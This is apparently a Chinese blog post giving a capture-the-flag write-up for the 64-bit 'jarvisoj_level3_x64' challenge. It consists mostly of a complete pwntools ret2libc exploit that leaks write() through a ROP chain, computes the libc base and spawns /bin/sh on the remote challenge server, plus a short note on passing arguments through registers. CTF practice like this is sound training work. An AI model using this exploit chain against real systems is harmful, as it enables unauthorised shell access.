jarvisoj_level3_x64

这题很简单
image
就是这样的64位的ret2libc

点击查看代码
from pwn import *
io=remote('node4.buuoj.cn',29511)
elf=ELF('./level3_x64')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.sym['main']
rdi_addr=0x4006b3
rsi_addr=0x4006b1
payload='a'*0x88+p64(rdi_addr)+p64(1)+p64(rsi_addr)+p64(write_got)+p64(0)+p64(write_plt)+p64(main_addr)
io.sendafter("Input:\n",payload)

write_addr=u64(io.recv(8))
libc=ELF("./libc-2.23.so")
libc_write=libc.sym['write']
libc_sys=libc.sym['system']
libc_bin_sh=libc.search("/bin/sh\x00").next()

libcbase=write_addr-libc_write
sys_addr=libcbase+libc_sys
bin_sh_addr=libcbase+libc_bin_sh

payload=0x88*'a'+p64(rdi_addr)+p64(bin_sh_addr)+p64(sys_addr)
io.sendafter("Input:\n",payload)
io.interactive()
payload='a'*0x88+p64(rdi_addr)+p64(1)+p64(rsi_addr)+p64(write_got)+p64(0)+p64(write_plt)+p64(main_addr) 我只想记录一下这个传参问题,一个寄存器只能传一个参,在调用下一个寄存器时,要把上一个寄存器的参传进去,在这个64位程序里先传参再传函数。然后参数要一个一个放。就是这样。
posted @ 2022-07-01 22:04  REPWNER  阅读(32)  评论(0)    收藏  举报